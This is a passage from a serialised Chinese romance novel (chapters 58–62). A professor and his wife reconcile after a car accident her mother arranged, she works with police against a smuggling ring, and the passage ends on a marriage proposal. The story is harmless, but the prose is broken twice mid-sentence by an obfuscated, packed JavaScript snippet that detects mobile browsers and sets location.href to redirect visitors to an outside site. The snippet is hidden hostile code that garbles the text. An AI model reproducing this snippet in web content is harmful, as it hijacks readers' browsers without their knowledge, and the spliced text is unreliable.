他不知道在他车祸住院的这几天,孟瑾到底发生了什么。 她为什么突然要回意大利,为什么连声招呼都不打就要离开。 她之前明明说的是两人先离婚,结束后她再回去,可是孟瑾晚上一直不接电话的行为却表明她要单方面分手,要直接离开,甚至打算这辈子都不在与他见面。 还有,她跟她妈妈又是怎么回事,孟瑾为什么突然说他没有岳母了?这句话的潜台词是说,她跟唐婉清断绝母女关系了吗? 还是因为她跟自己结婚的事,她妈妈觉得她不听话,所以……她妈妈不要她了? 孟瑾知道闻见一直不说话,其实有一肚子的问题要问她,于是她便主动说:“你做完手术还没几天不能在外面乱跑,我先送你回去。等明天白天把婚离了,我再回米兰。” “我已经答应配合警方了,不能出尔反尔的。”她语气听着很轻松,完全不像心里藏着事的人。 闻见不是公安系统的内部人员,但他也知道,警方那边不可能为了案子把一个无辜的公民派去走私贩的窝点配合他们。 他偏头看去,眼睛直直盯着孟瑾的眼睛:“配合警方,那为什么是你一个人去?” “有人跟我一起的,他们穿的便装,你没看出来。” “如果真的是那样,我刚刚就不可能见到你,他们不会让我的个人行为打乱整个专案组的计划。”闻见说:“孟瑾,你到底想干什么?你是不是想让自己做人肉沙包,引出他们更多的事情?” “可是你有没有想过我,没有你我该怎么办!那天我做手术的时候,你不是说你爱我,你不想我死么?难道我就可以眼睁睁地看着你去送死,然后当做什么事都没发生,两眼一闭继续苟延残喘的活吗?!” 孟瑾低头躲开他灼灼地目光,没有说话。 闻见胸口剧烈起伏,眼里闪着泪光,了然地点点头,随即猛地甩开她的手,转身走了。 孟瑾静静地抬头看着。 她还是没有说话,没有说任何挽留的话。 59.第 59 章 可是闻见怎么舍得走,怎么忍心丢下她一个人? 他踉跄着往前走了两步,又猛地转回来。 他反悔了,他不顾左腿发出的强烈抗议,扔了拐杖,大步朝她走来。 孟瑾呼吸一滞。 她完全没有想到闻见会回来。 下一秒,却被人直接抬手拖住后脑,一手揽过她的腰,将人牢牢固定在他怀里;狂风暴雨般的热烈亲吻扑面而来,从她的眼睛,到脸颊、到鼻尖、再到嘴巴、脖颈,耳朵,最后撑开牙关,唇舌探入,像个霸道的侵略者,在她柔软如云朵的唇齿间一遍遍行使着他的特权。 周遭雪花飞舞,华灯初上,霓虹闪着璀璨的光。 仿若夏夜的星辰一般明亮。 孟瑾全程都没有闭眼,她忘了闭眼,忘了呼吸,甚至忘了思考。 她愣愣地看着眼前男人深刻俊朗的眉眼,愣愣感受着完全不像她认识的闻教授会做出的举动,不知多久,才十分恍惚地眨了一下眼睛,心想:她怎么就把一个温文尔雅,做事稳重,生性高冷的大教授变成了现在这副霸道强势,面目全非,完全不像自己的模样呢? 他们怎么就走到了如今这般相看无言,无法回头的地步呢? 是她错了吗?一直以来,都是她做错了吗? 她知道闻见的举动与欲/念无关,也不是单纯地想要占有,他的行为是恐惧,是茫然,是情绪失控的爆发。 是明知无法回头,却仍不愿放手的垂死挣扎。 她感觉自己的心要被闻见扯碎了,一下一下,痛彻百骸,可他扯的又何尝不是他自己的心,他的举动明明那么霸道,那么强势,却又带着极致的温柔与偏爱,让她疼得不彻底,疼得恍惚又沉醉。 两人就那样撕扯着彼此的心,缠绵着,一边泪流,一边享受。 仿佛过了一个世纪还要久,直到孟瑾软成水的身子彻底倒在他怀里,她心软了,骨头软了,整个人都软了,嘴却依旧是硬的。 “你发泄完了吗?”她偏过头,靠着他的肩膀,喘息着问。 “没有,我没有发泄完,我不知道怎么才能发泄完……”闻见嗓音低哑道:“我不想让你离开,可是你还是执意要离开,要回到那些根本不懂爱的人身边,我想跟着你,跟你一起面对,可是你也不愿意,你不愿意让我跟着你,不愿意让我陪着你,不愿意把我当成你的另一半。” “我不知道,不知道怎么才能让你相信我是真的爱你,真的不怕,我想把我的心掏出来,捧到你面前,给你看,让你相信,让你明白,你值得这世上所有美好的一切,你值得我生死相依,值得我用命去爱。” “孟瑾,你说你不喜欢我,不爱我,那你为什么要跟我结婚?为什么要亲我?为什么要真正的嫁给我?现在生米煮成熟饭了,我是你的人了,你又不要我了,你又要抛弃我……你竟然那么狠心,那么绝情,你干嘛还要在我做手术的时候,哭着说不想让我死?你知不知道我现在这样活着,与行尸走肉没有任何区别?你说话呀,你怎么不说了?你平时不是最能说的么,你不是每天都有一万个理由要抛弃我吗?” 孟瑾说不出来,她连一个字也说不出来。 她明白闻见所有的痛苦和不舍,事实上,她的心里是和他一样的。 然而闻见对她越好,越是真心爱她,她就越是茫然,越不知道该怎么面对他。 她怕自己承担不起,接不住他这样炙热纯粹的爱,她不知道要怎么跟闻见说,害他车祸手术,差点要了他命的人是自己的妈妈……只要一想到闻见跟闻女士这些天来对她种种的包容和爱,孟瑾就觉得无法面对,觉得羞愧难当。 这也是她瞒着所有人,执意要回意大利的原因,其实闻见方才猜得是对的,孟瑾就是想让自己做人肉沙包,回去引出他们更多秘密。即便不能引出什么,至少也可以暂时稳住宋家的人,配合警方节省时间,收集更多证据。 这招虽然危险,但卓阳他们大底也不会想到她会用这么“不高明”的方式吧,所以还是有一定胜算的。 当然,除了这些,孟瑾也是有私心的,她还想回去再见唐婉清一面,心平气和地跟她说一句:从闻见出车祸的那一刻开始,她也决定不再爱她了。之前是因为外婆和孟强东,孟瑾才一直忍着她,让着她,听她的话,做了那么多自己根本不想,也不愿意做的事,但是从那天以后再也不会了。 因为她要做回她自己,没有亲人又怎样? 她一个人也可以过得很好。 由于闻见的车祸不属于重伤,要是立案的话,安城警方就得找意大利警方进行交涉,请他们配合抓捕,这样一番复杂的流程走下来,难免不会打草惊蛇,引起宋家那个文物走私团伙的重视,所以再与警方沟通商量后,孟瑾还是决定放弃告唐婉清故意伤害。 然而不告并不代表是原谅,孟瑾想:她这一辈子都不会再原谅她。 她静静趴在他怀里,脑袋一片空白。 好一会儿,闻见才听见她低低地说了一句:“我也不想离开你啊。” “可是我不知道要怎么办,”她说:“我不知道要怎么面对你……闻见,你帮我想想办法吧,我真的不想再这样了。” 孟瑾的语气很轻,声音也很小。 她终于在他面前说了软话。 两人认识整整十多年,这是头一回,孟瑾在他面前软下骨头,变回了一个不那么无所不能的小姑娘,将她的心里话说了出来,说给他听。 可是孟瑾才说了一句,他就已经心痛地无法呼吸了。 他不知道要说什么,要怎么做才能让她心里好受一点。 即便他是别人口中青年才俊的闻教授,即便他每天站在讲台上都能讲出很多,很励志的名言名句,然而他知道孟瑾并不需要那些所谓的大道理,他也无法对她说出那些不切实际的华丽辞藻。 他只觉得心疼,觉得难过,觉得心里堵得满满的,他突然好想哭。 闻见偏头亲了亲她的耳垂,动作轻柔而缱绻。 他扯起孟瑾冰凉又小的手轻轻捏在自己的掌心里,片刻,又扯着藏进了他身侧的大衣口袋:“小瑾,我们回家吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299908|136202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 孟瑾抬头看去。 一双水波流转的丹凤眼很亮很亮。 她抽了抽鼻子,然后轻声说:“闻教授,你怎么不问你为什么没有岳母了?” 闻见静静看着她,没有说话。 女孩眨了眨眼睛,猜测着说:“不想问么,那我直接跟你说吧。” “因为你那天的车祸是她指使人做的,她想杀了你,让我死心,让我继续像木偶一样由她摆布,听她的话。可是怎么可能呢?她以前做的那些事情,我都可以看在外婆和我爸的面子上忍下来,不和她计较,但是这次不一样,这次她动了你,她动了我最爱的人。” “所以我不会再原谅她,这一辈子都不会的。” “但是闻见,你不用为我感动,我做这个决定也不是为了你,是因为我本来就是个自私的人,就像我妈之前说的,她说我是自我为中心,我很薄情,她说的其实没错,我就是那样的人,”孟瑾说着微微抬眼,笑了下,把自己的手抽回来,转着手腕侧头看着远处忽明忽灭的霓虹灯,哑声说:“我做任何事情的出发点都是我自己,就像我跟她断绝关系这件事,也是因为我看清了她不爱我的本质。” “所以闻见,我其实是个缺点很多的人,我没有你想的那么好,甚至从大众角度看,我都算不上什么好人,你还要继续爱我吗?” 闻见一直没有插话,等她说完,他才点头笑了笑。 他走过来从后伸手环抱着她,动作自然又随意,就仿佛,仿佛他与她从来都本该如此:“是的,我还要。我不知道别人爱人的主观因素是什么,或者有什么客观条件,但我爱你只是因为我爱你,并没有任何附加的东西,更不会因为一些不了解你的人,对你的片面评价就改变我自己的心,别说我压根不会做这样的事,即便哪天我的大脑真的失了记忆,忘了爱你。” 孟瑾仰头看过去:“嗯?怎样?” “我的灵魂也会在茫茫人海中重新找到你,爱上你,因为我爱你是前世就注定的宿命,是无法改变的事,知道么?” “还有,孟瑾,”没等孟瑾说话,他又垂下眸子看着她,说:“虽然这世上没有哪个人是十全十美的,包括我自己,也有很多缺点和不足,但我还是希望你不要用一个,或者几个主观词语概括你自己,因为你就是你,你是独一无二的,是多面的,是我心中永远最好,无可替代的姑娘。” 孟瑾笑着转身勾住他的脖子,有点调皮地眨了眨眼睛:“那如果我没有妄自菲薄呢?” 闻见一愣,好一会儿才“嗯”了一声:“什么意思?” 孟瑾沉默片刻,突然严肃下来说:“就是我要是真的做过坏事,你怎么办?” 闻见:“比如?” “比如帮着他们做过违法的事。” “没事儿,顶多十八年的事。”闻见摇头道。 这回换孟瑾听不懂了,“啊,说什么?” “我说你犯的事,如果不枪毙,我就在家等你,”闻见说:“如果要枪毙,我就在来世的路口等你,十八年后也就合法了。” 60.第 60 章 闻见话音落地的一瞬间,孟瑾突然咧嘴笑了。 然而下一秒,眼泪蓦地奔涌而出。 她突然无法抑制的大哭起来,比前两天等他从手术室出来的那次哭得还要大声,还要凶。 她低头把脸埋进了他的怀里,眼泪顷刻打湿了他胸口大片衣服,孟瑾却抽抽噎噎哭着说:“抱紧我,闻见,抱紧我,别再放手了。” “不会的。”闻见收紧胳膊用力抱着她,他的声音带笑,眼里却也浮起同她一样的泪光:“我不会再放开你了,孟瑾。” “我要永远和你在一起,再也不要做懦弱的胆小鬼了。” “我要一直牵着你的手,一直抱紧你,直到天荒地老,日月更替,我都不要再和你分开,不要再放开你了。” 孟瑾吸着鼻子没有说话,但她听到了闻见说话时又快又重的心跳,它仿佛要冲破他的胸骨直接跳出来,跳到她面前,让她看到,让她明白,闻见说的爱她绝非一时兴起,而是真真切切,能抵过生死,能到达来生的永恒诺言。 可是孟瑾怎么会不相信,怎么会不明白? 她本来就知道,一直都知道,闻见的爱是最能拿的出手的。 他才不是什么胆小鬼。 他只是太珍视她,太能克制自己了而已。 无论是年少懵懂时日复一日跟着她的闻大班长,还是如今重逢后,一次次将她从绝境中拉出来的闻教授,他都是这世上唯一能触动她的心,唯一让她觉着,自己也是真真切切在这世上活着的,一个独立的个体。 孟瑾脑海里一幕幕闪过从年少到此刻,她与他之间的种种所有,忽然觉得有点恍惚,却又很庆幸。 恍惚的是,这么多年他竟然还在她身边。 庆幸的是,兜兜转转依然有他在她身边。 原来他们说的幸福巨像是真的,是真的能真真切切感觉到的。 “我也不想和你分开,可是……可是我好像没有爱人的能力,”不知多久,孟瑾终于抬了头,她看着他亮亮的眼睛,抽了抽鼻子,声音小小地问道:“闻见,你愿意教我爱你吗?” 虽然我在这方面是有点笨的。 她踮脚凑近亲了亲闻见的脸颊,正要张嘴坦白自己其实也很笨,闻见已经低头亲了回来,一边轻轻笑着擦掉她脸颊上的眼泪,说:“不许妄自菲薄,孟小瑾比我会爱人。” “我早就感觉到你的爱了,你的爱就像一团火,炙热又浓烈,是我今生可遇不可求的信仰和梦,所以以后不许这么说自己了,知道吗?” 孟瑾乖巧地点头。 片刻,又眨着眼睛问道:“闻教授,你是什么时候感觉到的?” 闻教授正盯着她璀璨的眸子出神,闻言轻轻一笑,说:“就是听到你给我留的录音地那一刻呀,当时我突然就发现你比我会爱人,一直以来,我都是那个笨蛋来着。” 说着,忽然严肃下来提醒道:“小孟老师,你好像丢东西了。” 小孟老师左右看了眼,又低头看了看两人十指相握的手,摇头说:“没有呢,我把我老公牵的紧紧的,不会再弄丢了。” 闻见刹那愣住,心脏蓦地狠狠一颤,好半晌,才憋出一句很笨的:“小瑾,我……我不会让你后悔嫁给我的。” 孟瑾笑:“哎呀,知道知道,快回家吧,冷死了都……我扶你啊,慢点走。” 他傻愣愣地点头,往前走了好几步,才又想起什么:“先等一下。” 孟瑾:“怎么了?” “行李还在机场呢,再不回去拿就找不到了。”闻见说。 孟瑾点头“哦”一声,没当多大事儿:“没事,我不要它们了。” 我要告别过去重新开始。 只要有你在,我什么都可以舍弃的。 见闻见一副欲言又止的模样,似乎还有话说,她又笑着补一句:“箱子里没什么重要的东西,就是几件衣服化妆品什么的,别的都在我的工作室。我之前不是说了吗?我的丈夫在这里,我的家也在这里,我还要回来的。” 闻见点头笑了笑,下一秒,直接将人扯进怀里,直接低头吻上她冰凉柔软的唇瓣儿。 声音含糊道:“小瑾,你知道吗?” “嗯?什么?” 闻见说:“这世界周遭,日月星河,它们的出现都是为了见证我们的爱情。” 孟瑾弯眼笑起来,点头应:“嗯,我觉得也是。” …… 次日清晨,孟瑾在一片暖洋洋的晨光里睁开眼睛,她盯着窗玻璃上金灿灿的光带出了会儿神,才要扯开被子坐起来,就被自己左手无名指上一只沉甸甸,亮得晃眼的钻石戒指吸引了目光。 女孩翘起嘴角笑了笑,这才拿到眼睛跟前开始观赏,戒指是铂金质地的,整体做工十分精巧考究,内侧有她与闻见的名字缩写,用的不是英文,而是拼音,上面的钻石也不是常见的桃心或玫瑰,是他们高中初见时她因为想念外婆,落在那片水坑里的眼泪花。 刹那间,她仿佛看到十七岁初见时穿着白衬衫,送给她棉花糖的那个高大少年,轻轻笑着摸了摸她的脑袋,说:“孟瑾,没关系,想哭就哭,不用克制自己的。” 原来当时闻见送给她棉花糖后,并没有离开。 原来他看到她哭了。 也就是说,闻见从一开始就知道她的迷茫,她的脆弱,知道她所有的伪装和故作坚强,却从来没有拆穿过。 只是默默替她保守了十多年。 孟瑾眨了眨眼睫,突然感觉眼眶有些热,她却抬手盖住眼眸,没有让眼泪流出来。 因为她觉得此刻自己很幸福,她并不想哭。 “闻教授,”孟瑾闭着眼睛缓了一会,扯开被子坐起来了,听到门外有脚步声,她就说:“你腿伤的那么重,怎么又乱跑啊?” 话没说完,闻见已经推门进来了,见她笑嘻嘻地跟自己说话,他就也跟着笑起来:“我没有乱跑,就去 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“哦,原来是福袋啊,那不好意思,是我误会闻教授了,”孟瑾说着,自顾自伸手捏住他的下巴,明明整个身子都被人压/在身下,气势上却丝毫没有要示弱的迹象,她弯起眼睛笑了笑,忽地提议道:“为了表示歉意,我喂你喝粥好不好?” 闻见眨着眼睛愣了好一会儿,低头在她唇上亲了亲,满足地笑起来:“真的可以吗?我不会是在做梦吧。” 孟瑾:“真的呢,机不可失。” 他笑着点头,立马乖乖坐起来,等着小孟老师来投喂。 两个手指又跟个小人儿似的偷偷摸摸跑过去,勾住她的小拇指,没一会儿,又变成十指相扣的姿势,一边看着女孩眼下越发明显的两行清灰,问:“小瑾,昨天晚上梦里的内容还记得吗?” “还记得,一会儿你帮我解一下吧。” 她说着,忽然一记眼神飞过去。 闻见不明所以,忙问怎么了。 “……” 孟瑾都懒得说,直接扯起俩人牵在一起的手给他看,闻见还是不明白,困惑地挑了挑眉,一边猜测着说:“嗯嗯,我看到了,戒指很适合。” “……” 有那么一瞬间,她突然有种拳头打到棉花上的无力感。 孟瑾终于意识到闻教授在有些方面是真的很笨,她无奈地笑起来,一边实话说:“闻大班长,你知不知道你真的很黏人?咱俩一直这样牵着手,我怎么给你喂饭?” 闻见:“那就不吃了,让我再牵一会儿吧。” 他的语气听着很宠溺,就像在哄小姑娘似的。 孟瑾张嘴想说什么,又意识到自己的话可能会打破气氛,而且闻见也不是很幼稚,就是没事儿喜欢黏人而已。 孟瑾抿了抿唇,没再说什么,闻见要牵手就让他牵着吧。 她才懒得计较,全当照顾伤员了。 61.第 61 章 窗外的日头渐渐升高,孟瑾的房间整个都被照得很亮。 床头柜上的莲子粥自顾自冒着热气,丝丝缕缕带着暖暖的五谷香飘散开来,充斥在周遭呼吸间,逗留在目光所及四下、各处。 闻见垂眼看着俩人十指相扣的手,片刻,又抬眸看向孟瑾。 孟瑾的表情淡淡的,但眼睛很亮。 他知道,孟瑾愿意让他一直这样牵着她的手,没有抽回去,也没再说什么,其实就是她在宠他。 她在学着爱他,学着别人爱人的方式好好爱他。 然而孟瑾不知道的是,她一直都有爱人的能力,她一直都是最会爱人的那个。 只是孟瑾对他的爱更多地是在行动里,在她深思熟虑做的每一个决定里,而不是像别人一样那么擅长表达,会用语言、眼神,文字等方式表现出来。 这世上的每一个人都是独立的个体,每个人的爱也都不一样,他们无需学谁去复制传说中的完美爱情,因为她与他的爱本身就创造了奇迹,本身就是这灯火阑珊的人世间独一无二,无法匹及,无人超越地,最好的爱情。 好一会儿,闻见侧身躺到她的腿上,问:“小瑾,你把录音交给警方后,他们怎么说的?” “方警官说那些录音很有用,可以作为一个突破口,但是要想一举歼灭宋家那个走私团伙,就还需要更多的人证物证,”孟瑾说:“但是因为我的身份比较特殊,关于案子再多的细节,他就没跟我说了。” “方警官?好像没听过,他是谁啊?”闻见又道。 “是我之前就认识的一位比较年长的警察,他当年处理过我爸的案子,可能也是因为这个,他就比较信任我一些。”孟瑾伸手端起旁边的粥,随手搅拌着,一边垂眸看来,提醒他,“闻教授,该吃饭了。” 闻见这次没再拽着她的手撒娇。 他点头笑笑,很听话地坐起来了,“好。” “我自己来吧。”他又补充说。 似是没想到闻见会这么爽快地坐起来,还主动说要自己喝粥,孟瑾自顾自抬头看他一眼,表情有点意外。 闻见察觉到,问她怎么了。 她也只是摇摇头,没说什么。 她心里是感觉有点不舒服,不明白闻见为什么要拒绝她的示好,但又不知道怎么准确地表达出来这种感觉。 或许这也是两人以后需要磨合的一个点。 年关将至,孟瑾的工作室也冷清下来,手里的活也差不多都做完了,下午天还没完全黑,她就收拾东西出来,坐地铁去菜市场买了点食材,原本打算给闻见做点好吃的补补,没想到孟瑾才到小区门口,就被身后的方警官叫住了。 方警官看到她手里买的鲫鱼,笑着问是不是着急回家煲汤,孟瑾摇摇头,说她其实不太会弄,只是看着比较新鲜就买了。 三两句寒暄过后,方警官又抬头笑了笑,然后问了一句让孟瑾完全没想到的:“你知道你举报的这起文物走私案,可能与魏晋时期公元225至228年间的好几起皇商灭门案有关么?” 孟瑾大概是知道的,但她不知道怎么回答,因为那些很多事情都是她在梦里,或者在幻觉里看到的。 她之所以知道是在魏晋时期,也是一次出神时,见到了闻见爸爸牺牲前的一抹影像,是他跟她说的。 可是这种带有奇幻色彩的话说出来,警察应该会觉得她在编故事吧。 于是孟瑾犹豫了一下,才说:“我听说过一点。” 方警官看着她,似乎有话要说,片刻,又转头看向旁边的同事。 两人交换了几个眼神,他重新转回看着孟瑾,须臾,直接开门见山地问:“孟小姐说的听说,仿佛是在您梦里出现过?” 孟瑾微微一滞,拎着塑料袋的手也不由收紧了。 她点头应是,又说:“但是您二位是怎么知道的?” “孟小姐方便的话,可否借一步说话?” 几人去附近一家咖啡店聊了很久,最后,孟瑾起身告辞离开时,方警官又想起什么,问她道:“孟小姐,我听说你爱人是安城大学历史系的副教授?” 孟瑾说:“是,但是我先生前两天出了车祸,现在还在家里休养,所以没办法立刻过来配合二位警官的调查。” 方警官闻言笑着摆了摆手,道:“孟小姐似乎误会我的意思了。我只是突然想,要是能请闻教授帮忙梳理一下梦里的场景,会不会你也能更清楚的理解那位梦中的神秘女子想表达的意思?” 孟瑾犹豫了一下,最终也没有说她其实不想让闻见牵扯进来的话。 毕竟如今这个局势,她再想让闻见独善其身恐怕也是不行了。 从咖啡店出来,孟瑾一路想着什么,一边掏钥匙开门,抬头却见闻女士已经给他们做好了饭,正准备换鞋离开。 见她进来,闻女士立刻弯眼笑起来,语气有点夸张地“哎呀”一声,说:“我闺女怎么买了这么多好吃的,某些人真是口福不浅呐!” 孟瑾忙笑着把东西放进厨房,洗了手,又跑过来主动挽住她的胳膊,笑眯眯道:“妈妈过奖了,我其实不会做什么的,要是做的话,还要请闻教授过来现场教学。” 闻女士闻言笑起来:“好好好,没事就喊他出来多走走,懒坏了都。” 临走,闻女士突然转头唤了一声:“小瑾啊。” 孟瑾从出租车司机脸上收回目光,抬头看去。 闻女士下意识伸手牵住她的手,牵地很紧很紧,眼里也蓦地浮起一层浅浅地雾气,好半晌才平复下来问:“你……你见到闻见爸爸的那次,他看着还好吗?” 话没说完,她就红着眼睛把脸转过去,摆手示意自己没事。 孟瑾一向不会安慰人,这个时候她也不知道能说什么。 于是她便什么都没有说,就直接伸手将闻女士揽进怀里,真的像亲闺女那样紧紧地抱着她,让她尽情释放这一刻崩溃的情绪。 坦白说,孟瑾见到闻见爸爸的那次,他已经被折磨得面目全非,不成样子了。 但她想了想,最终还是对闻女士说了谎。 “妈妈,爸爸他挺好的,”孟瑾说:“你别再难过了,不然爸爸在天上看到也会担心的。” 闻女士点头说好,声音还是哽咽地厉害。 她抬手抹掉脸上的泪,闭着眼睛缓了好一会才哑声说:“他当年跟你见了面后,托人给我寄回来了一个小盒子,应该是录音,还有一封信说让我……让我今天交到警察局里去。” 果然是这样。 孟瑾回来的时候就在想,方警官他们是怎么知道她会做奇怪的梦,又在梦里见到了什么,现在看来,一切都是闻见爸爸早在十多年前就安排好的。 原来,他们经历的种种一切都是命中注定的。 孟瑾片刻回过神来,垂眸看着仍被闻女士牵得很紧的手。 她说:“妈妈,方警官他提议说让闻见帮我解梦,可是那样的话,他也会被牵扯进来的,我怕宋家那些人狗急跳墙,他们可能会……” “我知道你在担心什么,”闻女士出声打断她,抬头看着城市霓虹间璀璨夺目的星辰夜色,声音不轻不重地说:“但是作为林湘和闻晓河的儿子,作为一名优秀的边境警察的后裔,闻见他责无旁贷。” ”即便以后真有什么不测,我也不会怪你把他拉进来的。” “你作为一个普通人家的普通女孩儿尚且可以为国家利益,文物回归,做出那么多忍让付出,甚至做好了牺牲自己的准备,闻见他好歹是你的丈夫,是你选定了要风雨同舟相守一生的人,所以于情于理他都不该,也不能退缩的。”闻女士含笑的眼睛看着她,温柔平和的语气里满是舍小家为大家的无私坚定。 孟瑾定定回看着她,半晌,点头说一句:“好,我知道了。” 到家已是深夜,孟瑾轻手轻脚推开房间门,床头的小台灯亮着,闻见半靠床头而坐,手里捧着他常看的那本《史学要论》,眼睛一眨不眨看得专注。 听到动静,他抬头,一双浅棕色的眼眸瞬间弯成月牙。 孟瑾也笑了笑,抬手把灯开开,走过来坐到他旁边了。 闻见放下手里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338336|136202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的书,伸手过来牵住她被冻得冰凉的手,扯到唇边边搓边哈气:“我不是听到你早就回来了吗,怎么一直不进来?” 孟瑾凑过去在他脸上亲了亲,笑说:“我跟妈妈聊了会儿天。” “你好偏心,越来越偏心。”闻见说。 孟瑾:“哪有,我一直都比较喜欢妈妈的。” 闻见:“嗯嗯,知道,我一直都是多余的。” 孟瑾笑着伸手摸摸他的脑袋,主动端正态度给闻教授顺毛:“还好啦,也不多余,等你腿好了还能给我们做好吃的呢。” 闻见点头笑起来:“对的,我会把某个爱骗人的小姑娘喂的白白胖胖的,叫你一见不到我就想我,就算心里不想,嘴上也得想。” 说着,伸出一根指头在她唇上点了点,眯眼笑了。 须臾,才想起来孟瑾到这会儿还没吃饭:“哦,对了,妈妈做什么好吃的了?我们出去吃饭吧。” “你不是刚才喝了鸡汤,等一会儿再吃吧。”孟瑾站起来脱掉身上的大衣,随手抓起闻见的水杯喝一口,又递给他:“温度刚好,要不要喝?” 闻见笑着抬头看来,伸出舌尖舔了舔唇,暗示意味明显。 孟瑾眨眨眼睛,表示看不懂。 “什么意思,嘴唇不干,不用喝?” 闻教授倒也不意外她着反应,只是自顾自扯开被子走过来,低头亲了亲她湿漉漉的唇瓣儿,“不是,是想喝你喂的。” 孟瑾:“……” 女孩一眨不眨看着他,两秒后默默把头低下了。 头顶暖黄的灯光斜斜打下来,照着她的脸颊耳尖都有一点红。 闻见方才的举动来的亲密又自然,却又给人一种很微妙的感觉,孟瑾也说不上具体是什么。或者他这样的举动,应该是谈了很久恋爱的情侣才会做的?虽然两人之前也接过吻,也做过更亲密的事儿,但当时的感觉跟现在却是完全不一样的。 究其原因,孟瑾想,或许是因为当时自己接近闻见是藏着私心的,不管是弥补性的接吻还是别的,都是她主动靠近,闻见被动接受并配合,方才这个吻却是他主动靠近,是他想与她亲近,而自己是在毫无准备的情况下,懵懵地接受了他的爱意。 所以她才会有一种很微妙的感觉。 如同小说里写的那种,被浓浓地爱意包裹其中因而产生地很踏实,又幸福的心动序号。 即便闻见不是头一个亲吻她的人,也不是她的初吻,然而这一刻的心潮澎湃,却如十七岁那个夏天一眼惊艳的初见,同样令人刻骨铭心。 孟瑾想着,忽然自顾自笑了笑。 虽然她是低着头的,笑意也很浅。 但还是被闻见敏锐地捕捉到了,他转身坐到床沿上,抬头看来,眼角眉梢皆挂着令人心动的柔情,“小孟老师,你想到什么高兴的事儿了,跟我也说说呗?” 孟瑾没有立刻说话,而是盯着他亮亮的眼睛看了好一会儿,才又放下手里的水杯,蹲下坐到床边的地毯上了。 闻见眼睛一直跟着她,见小孟老师坐到地上,才要起身模仿,就被孟瑾抬头一抹灿烂明艳的笑直接定住了。 三五秒的样子,他回过神来,忽然问:“你猜我想起什么了?” 孟瑾其实知道,他想起的是两人上学那会儿,少年偶尔抬头看到的夕阳余晖间她眼角眉梢清清淡淡,却格外令人难忘的俏皮模样。 但她还是假装很认真的想了想,然后说:“不知道。” 闻见知道,那段日子于她而言并不是什么值得纪念的开心时光,便也没再提:“也没什么,就是你笑起来很好看。” 孟瑾点头:“哦,那我以后多笑给你看。” 闻见以为自己听错了,他愣愣眨了两下眼,这才后知后觉答应道:“好,好啊。” 孟瑾用小拇指勾了勾他的指头,闻见立刻会意,他反手握住她的手才要牵着去吃饭,就见孟瑾抬头看来,很认真地说:“闻见,你还没有求过婚呢。” “我的意思是,虽然咱俩已经登记了,但你或者……还可以跟我求个婚?” 62.第 62 章 闻见闻言彻底愣住,眼睛蓦地睁大,脸上的表情却淡淡的。 刹那间,回忆与现实在脑海里沸反盈天,过去的画面一幕幕浮现:他想起十七岁初见时,那个矜贵又冷漠的少女,她不愿同他多说一句话,甚至将他当成了那种无聊搭讪的人,然而最后的最后,她还是拆开了他送她的那包甜糯蜜糖,慢慢送进嘴里,卸下所有伪装,认认真真为她最爱的外婆哭了一场。 从此,他便跟着她,守着她,少年命运的轨迹也悄悄有了变化。 是她在他平淡无波的青春岁月里浓墨重彩写了一笔,那时,他在多少次无意抬眸间,为她怦然心动,为她黯然伤神。 后来,孟瑾离开国内去了别的地方,日复一日,年复一年,他却从来没有将她忘掉,他在无数个思念成疾的失眠夜,想她,念她,盼着她,与她有关的所有回忆一遍遍撕扯着他的神经与灵魂,令他如梗在喉,心痛难耐,少年手中却没有一张她的单人照片。 想起过去的那些种种,他们在各自的忙碌生活中渐渐长大,从高二上学期的同校校友,到高二下学期她与他成了同班同学,从擦肩而过都不抬头地无话可说,到后来偶尔闲聊,他也能很幸运地见到少女眉眼间不经意流露出灿烂笑容,再到高三雨中承诺彻底远离。 自此,山高路远,再无交集。 从高中的青涩懵懂到大学的深埋心底,到后来不经意间听说孟瑾换了别的学校,去了别的城市,交了个很帅的男朋友,他听说对方处处都比他优秀,都比他好,家世好,人缘好,出手大方,朋友遍地,性格开朗,可就是……对孟瑾不好。 从一名普通的本科学生,到后来自己也成了站在讲台上教书育人的青年老师,从大学毕业离开校园到分配工作主动要求又回到校园,整整十年零八个月,他从青涩稚嫩的学生模样蜕变成成熟稳重的无聊大人,这一路经历过很多,失去过很多,忘掉过很多,也释怀了很多。 这一路,他从未想过孟瑾会为他回头,却也从未想过要放弃自己心中的那份执着,他没想过再去打扰她,他只想自己一个人,一直在他们遇见的这座小城,在无意中听说过孟瑾也曾想考的这所大学,安安静静等着她,念着她,为她祈祷,为她祝福。 朝朝暮暮,直到永恒。 然而就在刚刚,在回忆闯进脑海的前一秒,那个曾让他辗转反侧彻夜难眠,向神明祈祷来生还要再见的少女,那道毫不吝啬在他青春里炸开,给了他无限遐想与震撼的璀璨光芒却突然跟他说,他还没向她求过婚,他要不要跟她求个婚。 约莫两三分钟过去,闻见还在发呆,孟瑾不知道他想到了什么,但是感觉到了他捏着自己手的力道,很重很重地力道。 甚至,她的骨头都被闻见捏疼了,但孟瑾没有抽回手,也没有打断他的思绪。 因为她突然很喜欢被闻见牢牢牵着手的感觉,也说不上具体是什么,就是莫名觉得踏实,觉得舒服,觉得心里暖暖的。 又过了好一会儿,她才抬睫看着他说:“闻教授,不同意就不同意,别一直发呆了。” 